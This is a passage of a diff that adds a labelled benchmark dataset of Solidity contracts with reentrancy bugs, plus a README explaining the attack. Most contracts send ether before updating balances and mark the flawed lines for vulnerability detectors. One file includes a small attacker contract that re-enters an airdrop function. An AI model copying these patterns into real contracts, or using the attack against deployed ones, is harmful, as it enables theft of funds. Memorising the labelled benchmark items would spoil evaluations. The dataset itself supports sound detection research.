balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 63
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract MONEY_BOX
|
||||
{
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
uint public MinSum;
|
||||
|
||||
Log LogFile;
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
LogFile = Log(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Put(uint _lockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
if(now+_lockTime>acc.unlockTime)acc.unlockTime=now+_lockTime;
|
||||
LogFile.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
LogFile.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
contract Log
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 29
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract WALLET
|
||||
{
|
||||
function Put(uint _unlockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
acc.unlockTime = _unlockTime>now?_unlockTime:now;
|
||||
LogFile.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
LogFile.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
Log LogFile;
|
||||
|
||||
uint public MinSum = 1 ether;
|
||||
|
||||
function WALLET(address log) public{
|
||||
LogFile = Log(log);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract Log
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 29
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract MY_BANK
|
||||
{
|
||||
function Put(uint _unlockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
acc.unlockTime = _unlockTime>now?_unlockTime:now;
|
||||
LogFile.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
LogFile.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
Log LogFile;
|
||||
|
||||
uint public MinSum = 1 ether;
|
||||
|
||||
function MY_BANK(address log) public{
|
||||
LogFile = Log(log);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract Log
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
26
dataset/reentrancy/README.md
Executable file
26
dataset/reentrancy/README.md
Executable file
@@ -0,0 +1,26 @@
|
||||
# Reentrancy
|
||||
Also known as or related to race to empty, recursive call vulnerability, call to the unknown.
|
||||
|
||||
The Reentrancy attack, probably the most famous Ethereum vulnerability,surprised everyone when discovered for the first time. It was first unveiled during a multimillion dollar heist which led to a hard fork of Ethereum. Reentrancy occurs when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. For a function, this means that the contract state may change in the middle of its execution as a result of a call to an untrusted contract or the use of a low level function with an external address.
|
||||
|
||||
Loss: estimated at 3.5M ETH (~50M USD at the time)
|
||||
|
||||
## Attack Scenario
|
||||
A smart contract tracks the balance of a number of external addresses and allows users to retrieve funds with its public withdraw() function.
|
||||
A malicious smart contract uses the withdraw() function to retrieve its entire balance.
|
||||
The victim contract executes the call.value(amount)() low level function to send the ether to the malicious contract before updating the balance of the malicious contract.
|
||||
The malicious contract has a payable fallback() function that accepts the funds and then calls back into the victim contract's withdraw() function.
|
||||
This second execution triggers a transfer of funds: remember, the balance of the malicious contract still hasn't been updated from the first withdrawal. As a result, the malicious contract successfully withdraws its entire balance a second time.
|
||||
|
||||
## Examples
|
||||
The following function contains a function vulnerable to a reentrancy attack. When the low level call() function sends ether to the msg.sender address, it becomes vulnerable; if the address is a smart contract, the payment will trigger its fallback function with what's left of the transaction gas:
|
||||
```
|
||||
function withdraw(uint _amount) {
|
||||
require(balances[msg.sender] >= _amount);
|
||||
msg.sender.call.value(_amount)();
|
||||
balances[msg.sender] -= _amount;
|
||||
}
|
||||
````
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
24
dataset/reentrancy/etherbank.sol
Normal file
24
dataset/reentrancy/etherbank.sol
Normal file
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* @source: https://github.com/seresistvanandras/EthBench/blob/master/Benchmark/Simple/reentrant.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 21
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.0;
|
||||
contract EtherBank{
|
||||
mapping (address => uint) userBalances;
|
||||
function getBalance(address user) constant returns(uint) {
|
||||
return userBalances[user];
|
||||
}
|
||||
|
||||
function addToBalance() {
|
||||
userBalances[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdrawBalance() {
|
||||
uint amountToWithdraw = userBalances[msg.sender];
|
||||
// <yes> <report> REENTRANCY
|
||||
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; }
|
||||
userBalances[msg.sender] = 0;
|
||||
}
|
||||
}
|
||||
31
dataset/reentrancy/etherstore.sol
Normal file
31
dataset/reentrancy/etherstore.sol
Normal file
@@ -0,0 +1,31 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 27
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract EtherStore {
|
||||
|
||||
uint256 public withdrawalLimit = 1 ether;
|
||||
mapping(address => uint256) public lastWithdrawTime;
|
||||
mapping(address => uint256) public balances;
|
||||
|
||||
function depositFunds() public payable {
|
||||
balances[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdrawFunds (uint256 _weiToWithdraw) public {
|
||||
require(balances[msg.sender] >= _weiToWithdraw);
|
||||
// limit the withdrawal
|
||||
require(_weiToWithdraw <= withdrawalLimit);
|
||||
// limit the time allowed to withdraw
|
||||
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
|
||||
// <yes> <report> REENTRANCY
|
||||
require(msg.sender.call.value(_weiToWithdraw)());
|
||||
balances[msg.sender] -= _weiToWithdraw;
|
||||
lastWithdrawTime[msg.sender] = now;
|
||||
}
|
||||
}
|
||||
49
dataset/reentrancy/modifier_reentrancy.sol
Normal file
49
dataset/reentrancy/modifier_reentrancy.sol
Normal file
@@ -0,0 +1,49 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/reentracy/modifier_reentrancy.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 15
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
contract ModifierEntrancy {
|
||||
mapping (address => uint) public tokenBalance;
|
||||
string constant name = "Nu Token";
|
||||
|
||||
//If a contract has a zero balance and supports the token give them some token
|
||||
// <yes> <report> REENTRANCY
|
||||
function airDrop() hasNoBalance supportsToken public{
|
||||
tokenBalance[msg.sender] += 20;
|
||||
}
|
||||
|
||||
//Checks that the contract responds the way we want
|
||||
modifier supportsToken() {
|
||||
require(keccak256(abi.encodePacked("Nu Token")) == Bank(msg.sender).supportsToken());
|
||||
_;
|
||||
}
|
||||
//Checks that the caller has a zero balance
|
||||
modifier hasNoBalance {
|
||||
require(tokenBalance[msg.sender] == 0);
|
||||
_;
|
||||
}
|
||||
}
|
||||
|
||||
contract Bank{
|
||||
function supportsToken() external pure returns(bytes32){
|
||||
return(keccak256(abi.encodePacked("Nu Token")));
|
||||
}
|
||||
}
|
||||
|
||||
contract attack{ //An example of a contract that breaks the contract above.
|
||||
bool hasBeenCalled;
|
||||
function supportsToken() external returns(bytes32){
|
||||
if(!hasBeenCalled){
|
||||
hasBeenCalled = true;
|
||||
ModifierEntrancy(msg.sender).airDrop();
|
||||
}
|
||||
return(keccak256(abi.encodePacked("Nu Token")));
|
||||
}
|
||||
function call(address token) public{
|
||||
ModifierEntrancy(token).airDrop();
|
||||
}
|
||||
}
|
||||
32
dataset/reentrancy/reentrance.sol
Normal file
32
dataset/reentrancy/reentrance.sol
Normal file
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
* @source: https://ethernaut.zeppelin.solutions/level/0xf70706db003e94cfe4b5e27ffd891d5c81b39488
|
||||
* @author: Alejandro Santander
|
||||
* @vulnerable_at_lines: 24
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.18;
|
||||
|
||||
contract Reentrance {
|
||||
|
||||
mapping(address => uint) public balances;
|
||||
|
||||
function donate(address _to) public payable {
|
||||
balances[_to] += msg.value;
|
||||
}
|
||||
|
||||
function balanceOf(address _who) public view returns (uint balance) {
|
||||
return balances[_who];
|
||||
}
|
||||
|
||||
function withdraw(uint _amount) public {
|
||||
if(balances[msg.sender] >= _amount) {
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_amount)()) {
|
||||
_amount;
|
||||
}
|
||||
balances[msg.sender] -= _amount;
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable {}
|
||||
}
|
||||
31
dataset/reentrancy/reentrancy_bonus.sol
Normal file
31
dataset/reentrancy/reentrancy_bonus.sol
Normal file
@@ -0,0 +1,31 @@
|
||||
/*
|
||||
* @source: https://consensys.github.io/smart-contract-best-practices/known_attacks/
|
||||
* @author: consensys
|
||||
* @vulnerable_at_lines: 28
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract Reentrancy_bonus{
|
||||
|
||||
// INSECURE
|
||||
mapping (address => uint) private userBalances;
|
||||
mapping (address => bool) private claimedBonus;
|
||||
mapping (address => uint) private rewardsForA;
|
||||
|
||||
function withdrawReward(address recipient) public {
|
||||
uint amountToWithdraw = rewardsForA[recipient];
|
||||
rewardsForA[recipient] = 0;
|
||||
(bool success, ) = recipient.call.value(amountToWithdraw)("");
|
||||
require(success);
|
||||
}
|
||||
|
||||
function getFirstWithdrawalBonus(address recipient) public {
|
||||
require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once
|
||||
|
||||
rewardsForA[recipient] += 100;
|
||||
// <yes> <report> REENTRANCY
|
||||
withdrawReward(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
|
||||
claimedBonus[recipient] = true;
|
||||
}
|
||||
}
|
||||
28
dataset/reentrancy/reentrancy_cross_function.sol
Normal file
28
dataset/reentrancy/reentrancy_cross_function.sol
Normal file
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* @source: https://consensys.github.io/smart-contract-best-practices/known_attacks/
|
||||
* @author: consensys
|
||||
* @vulnerable_at_lines: 24
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract Reentrancy_cross_function {
|
||||
|
||||
// INSECURE
|
||||
mapping (address => uint) private userBalances;
|
||||
|
||||
function transfer(address to, uint amount) {
|
||||
if (userBalances[msg.sender] >= amount) {
|
||||
userBalances[to] += amount;
|
||||
userBalances[msg.sender] -= amount;
|
||||
}
|
||||
}
|
||||
|
||||
function withdrawBalance() public {
|
||||
uint amountToWithdraw = userBalances[msg.sender];
|
||||
// <yes> <report> REENTRANCY
|
||||
(bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call transfer()
|
||||
require(success);
|
||||
userBalances[msg.sender] = 0;
|
||||
}
|
||||
}
|
||||
28
dataset/reentrancy/reentrancy_dao.sol
Normal file
28
dataset/reentrancy/reentrancy_dao.sol
Normal file
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 18
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract ReentrancyDAO {
|
||||
mapping (address => uint) credit;
|
||||
uint balance;
|
||||
|
||||
function withdrawAll() public {
|
||||
uint oCredit = credit[msg.sender];
|
||||
if (oCredit > 0) {
|
||||
balance -= oCredit;
|
||||
// <yes> <report> REENTRANCY
|
||||
bool callResult = msg.sender.call.value(oCredit)();
|
||||
require (callResult);
|
||||
credit[msg.sender] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
function deposit() public payable {
|
||||
credit[msg.sender] += msg.value;
|
||||
balance += msg.value;
|
||||
}
|
||||
}
|
||||
21
dataset/reentrancy/reentrancy_insecure.sol
Normal file
21
dataset/reentrancy/reentrancy_insecure.sol
Normal file
@@ -0,0 +1,21 @@
|
||||
/*
|
||||
* @source: https://consensys.github.io/smart-contract-best-practices/known_attacks/
|
||||
* @author: consensys
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract Reentrancy_insecure {
|
||||
|
||||
// INSECURE
|
||||
mapping (address => uint) private userBalances;
|
||||
|
||||
function withdrawBalance() public {
|
||||
uint amountToWithdraw = userBalances[msg.sender];
|
||||
// <yes> <report> REENTRANCY
|
||||
(bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call withdrawBalance again
|
||||
require(success);
|
||||
userBalances[msg.sender] = 0;
|
||||
}
|
||||
}
|
||||
29
dataset/reentrancy/reentrancy_simple.sol
Normal file
29
dataset/reentrancy/reentrancy_simple.sol
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/reentrancy/Reentrancy.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 24
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract Reentrance {
|
||||
mapping (address => uint) userBalance;
|
||||
|
||||
function getBalance(address u) constant returns(uint){
|
||||
return userBalance[u];
|
||||
}
|
||||
|
||||
function addToBalance() payable{
|
||||
userBalance[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdrawBalance(){
|
||||
// send userBalance[msg.sender] ethers to msg.sender
|
||||
// if mgs.sender is a contract, it will call its fallback function
|
||||
// <yes> <report> REENTRANCY
|
||||
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
|
||||
throw;
|
||||
}
|
||||
userBalance[msg.sender] = 0;
|
||||
}
|
||||
}
|
||||
27
dataset/reentrancy/simple_dao.sol
Normal file
27
dataset/reentrancy/simple_dao.sol
Normal file
@@ -0,0 +1,27 @@
|
||||
/*
|
||||
* @source: http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 19
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.2;
|
||||
|
||||
contract SimpleDAO {
|
||||
mapping (address => uint) public credit;
|
||||
|
||||
function donate(address to) payable {
|
||||
credit[to] += msg.value;
|
||||
}
|
||||
|
||||
function withdraw(uint amount) {
|
||||
if (credit[msg.sender]>= amount) {
|
||||
// <yes> <report> REENTRANCY
|
||||
bool res = msg.sender.call.value(amount)();
|
||||
credit[msg.sender]-=amount;
|
||||
}
|
||||
}
|
||||
|
||||
function queryCredit(address to) returns (uint){
|
||||
return credit[to];
|
||||
}
|
||||
}
|
||||
896
dataset/reentrancy/spank_chain_payment.sol
Normal file
896
dataset/reentrancy/spank_chain_payment.sol
Normal file
@@ -0,0 +1,896 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/reentrancy/SpankChain_source_code/SpankChain_Payment.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 426,430
|
||||
*/
|
||||
|
||||
// https://etherscan.io/address/0xf91546835f756da0c10cfa0cda95b15577b84aa7#code
|
||||
|
||||
pragma solidity ^0.4.23;
|
||||
// produced by the Solididy File Flattener (c) David Appleton 2018
|
||||
// contact : dave@akomba.com
|
||||
// released under Apache 2.0 licence
|
||||
contract Token {
|
||||
/* This is a slight change to the ERC20 base standard.
|
||||
function totalSupply() constant returns (uint256 supply);
|
||||
is replaced with:
|
||||
uint256 public totalSupply;
|
||||
This automatically creates a getter function for the totalSupply.
|
||||
This is moved to the base contract since public getter functions are not
|
||||
currently recognised as an implementation of the matching abstract
|
||||
function by the compiler.
|
||||
*/
|
||||
/// total amount of tokens
|
||||
uint256 public totalSupply;
|
||||
|
||||
/// @param _owner The address from which the balance will be retrieved
|
||||
/// @return The balance
|
||||
function balanceOf(address _owner) public constant returns (uint256 balance);
|
||||
|
||||
/// @notice send `_value` token to `_to` from `msg.sender`
|
||||
/// @param _to The address of the recipient
|
||||
/// @param _value The amount of token to be transferred
|
||||
/// @return Whether the transfer was successful or not
|
||||
function transfer(address _to, uint256 _value) public returns (bool success);
|
||||
|
||||
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
|
||||
/// @param _from The address of the sender
|
||||
/// @param _to The address of the recipient
|
||||
/// @param _value The amount of token to be transferred
|
||||
/// @return Whether the transfer was successful or not
|
||||
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
|
||||
|
||||
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
|
||||
/// @param _spender The address of the account able to transfer the tokens
|
||||
/// @param _value The amount of tokens to be approved for transfer
|
||||
/// @return Whether the approval was successful or not
|
||||
function approve(address _spender, uint256 _value) public returns (bool success);
|
||||
|
||||
/// @param _owner The address of the account owning tokens
|
||||
/// @param _spender The address of the account able to transfer the tokens
|
||||
/// @return Amount of remaining tokens allowed to spent
|
||||
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
|
||||
|
||||
event Transfer(address indexed _from, address indexed _to, uint256 _value);
|
||||
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
|
||||
}
|
||||
|
||||
library ECTools {
|
||||
|
||||
// @dev Recovers the address which has signed a message
|
||||
// @thanks https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
|
||||
function recoverSigner(bytes32 _hashedMsg, string _sig) public pure returns (address) {
|
||||
require(_hashedMsg != 0x00);
|
||||
|
||||
// need this for test RPC
|
||||
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
|
||||
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashedMsg));
|
||||
|
||||
if (bytes(_sig).length != 132) {
|
||||
return 0x0;
|
||||
}
|
||||
bytes32 r;
|
||||
bytes32 s;
|
||||
uint8 v;
|
||||
bytes memory sig = hexstrToBytes(substring(_sig, 2, 132));
|
||||
assembly {
|
||||
r := mload(add(sig, 32))
|
||||
s := mload(add(sig, 64))
|
||||
v := byte(0, mload(add(sig, 96)))
|
||||
}
|
||||
if (v < 27) {
|
||||
v += 27;
|
||||
}
|
||||
if (v < 27 || v > 28) {
|
||||
return 0x0;
|
||||
}
|
||||
return ecrecover(prefixedHash, v, r, s);
|
||||
}
|
||||
|
||||
// @dev Verifies if the message is signed by an address
|
||||
function isSignedBy(bytes32 _hashedMsg, string _sig, address _addr) public pure returns (bool) {
|
||||
require(_addr != 0x0);
|
||||
|
||||
return _addr == recoverSigner(_hashedMsg, _sig);
|
||||
}
|
||||
|
||||
// @dev Converts an hexstring to bytes
|
||||
function hexstrToBytes(string _hexstr) public pure returns (bytes) {
|
||||
uint len = bytes(_hexstr).length;
|
||||
require(len % 2 == 0);
|
||||
|
||||
bytes memory bstr = bytes(new string(len / 2));
|
||||
uint k = 0;
|
||||
string memory s;
|
||||
string memory r;
|
||||
for (uint i = 0; i < len; i += 2) {
|
||||
s = substring(_hexstr, i, i + 1);
|
||||
r = substring(_hexstr, i + 1, i + 2);
|
||||
uint p = parseInt16Char(s) * 16 + parseInt16Char(r);
|
||||
bstr[k++] = uintToBytes32(p)[31];
|
||||
}
|
||||
return bstr;
|
||||
}
|
||||
|
||||
// @dev Parses a hexchar, like 'a', and returns its hex value, in this case 10
|
||||
function parseInt16Char(string _char) public pure returns (uint) {
|
||||
bytes memory bresult = bytes(_char);
|
||||
// bool decimals = false;
|
||||
if ((bresult[0] >= 48) && (bresult[0] <= 57)) {
|
||||
return uint(bresult[0]) - 48;
|
||||
} else if ((bresult[0] >= 65) && (bresult[0] <= 70)) {
|
||||
return uint(bresult[0]) - 55;
|
||||
} else if ((bresult[0] >= 97) && (bresult[0] <= 102)) {
|
||||
return uint(bresult[0]) - 87;
|
||||
} else {
|
||||
revert();
|
||||
}
|
||||
}
|
||||
|
||||
// @dev Converts a uint to a bytes32
|
||||
// @thanks https://ethereum.stackexchange.com/questions/4170/how-to-convert-a-uint-to-bytes-in-solidity
|
||||
function uintToBytes32(uint _uint) public pure returns (bytes b) {
|
||||
b = new bytes(32);
|
||||
assembly {mstore(add(b, 32), _uint)}
|
||||
}
|
||||
|
||||
// @dev Hashes the signed message
|
||||
// @ref https://github.com/ethereum/go-ethereum/issues/3731#issuecomment-293866868
|
||||
function toEthereumSignedMessage(string _msg) public pure returns (bytes32) {
|
||||
uint len = bytes(_msg).length;
|
||||
require(len > 0);
|
||||
bytes memory prefix = "\x19Ethereum Signed Message:\n";
|
||||
return keccak256(abi.encodePacked(prefix, uintToString(len), _msg));
|
||||
}
|
||||
|
||||
// @dev Converts a uint in a string
|
||||
function uintToString(uint _uint) public pure returns (string str) {
|
||||
uint len = 0;
|
||||
uint m = _uint + 0;
|
||||
while (m != 0) {
|
||||
len++;
|
||||
m /= 10;
|
||||
}
|
||||
bytes memory b = new bytes(len);
|
||||
uint i = len - 1;
|
||||
while (_uint != 0) {
|
||||
uint remainder = _uint % 10;
|
||||
_uint = _uint / 10;
|
||||
b[i--] = byte(48 + remainder);
|
||||
}
|
||||
str = string(b);
|
||||
}
|
||||
|
||||
|
||||
// @dev extract a substring
|
||||
// @thanks https://ethereum.stackexchange.com/questions/31457/substring-in-solidity
|
||||
function substring(string _str, uint _startIndex, uint _endIndex) public pure returns (string) {
|
||||
bytes memory strBytes = bytes(_str);
|
||||
require(_startIndex <= _endIndex);
|
||||
require(_startIndex >= 0);
|
||||
require(_endIndex <= strBytes.length);
|
||||
|
||||
bytes memory result = new bytes(_endIndex - _startIndex);
|
||||
for (uint i = _startIndex; i < _endIndex; i++) {
|
||||
result[i - _startIndex] = strBytes[i];
|
||||
}
|
||||
return string(result);
|
||||
}
|
||||
}
|
||||
contract StandardToken is Token {
|
||||
|
||||
function transfer(address _to, uint256 _value) public returns (bool success) {
|
||||
//Default assumes totalSupply can't be over max (2^256 - 1).
|
||||
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
|
||||
//Replace the if with this one instead.
|
||||
//require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
|
||||
require(balances[msg.sender] >= _value);
|
||||
balances[msg.sender] -= _value;
|
||||
balances[_to] += _value;
|
||||
emit Transfer(msg.sender, _to, _value);
|
||||
return true;
|
||||
}
|
||||
|
||||
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
|
||||
//same as above. Replace this line with the following if you want to protect against wrapping uints.
|
||||
//require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
|
||||
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
|
||||
balances[_to] += _value;
|
||||
balances[_from] -= _value;
|
||||
allowed[_from][msg.sender] -= _value;
|
||||
emit Transfer(_from, _to, _value);
|
||||
return true;
|
||||
}
|
||||
|
||||
function balanceOf(address _owner) public constant returns (uint256 balance) {
|
||||
return balances[_owner];
|
||||
}
|
||||
|
||||
function approve(address _spender, uint256 _value) public returns (bool success) {
|
||||
allowed[msg.sender][_spender] = _value;
|
||||
emit Approval(msg.sender, _spender, _value);
|
||||
return true;
|
||||
}
|
||||
|
||||
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
|
||||
return allowed[_owner][_spender];
|
||||
}
|
||||
|
||||
mapping (address => uint256) balances;
|
||||
mapping (address => mapping (address => uint256)) allowed;
|
||||
}
|
||||
|
||||
contract HumanStandardToken is StandardToken {
|
||||
|
||||
/* Public variables of the token */
|
||||
|
||||
/*
|
||||
NOTE:
|
||||
The following variables are OPTIONAL vanities. One does not have to include them.
|
||||
They allow one to customise the token contract & in no way influences the core functionality.
|
||||
Some wallets/interfaces might not even bother to look at this information.
|
||||
*/
|
||||
string public name; //fancy name: eg Simon Bucks
|
||||
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
|
||||
string public symbol; //An identifier: eg SBX
|
||||
string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme.
|
||||
|
||||
constructor(
|
||||
uint256 _initialAmount,
|
||||
string _tokenName,
|
||||
uint8 _decimalUnits,
|
||||
string _tokenSymbol
|
||||
) public {
|
||||
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
|
||||
totalSupply = _initialAmount; // Update total supply
|
||||
name = _tokenName; // Set the name for display purposes
|
||||
decimals = _decimalUnits; // Amount of decimals for display purposes
|
||||
symbol = _tokenSymbol; // Set the symbol for display purposes
|
||||
}
|
||||
|
||||
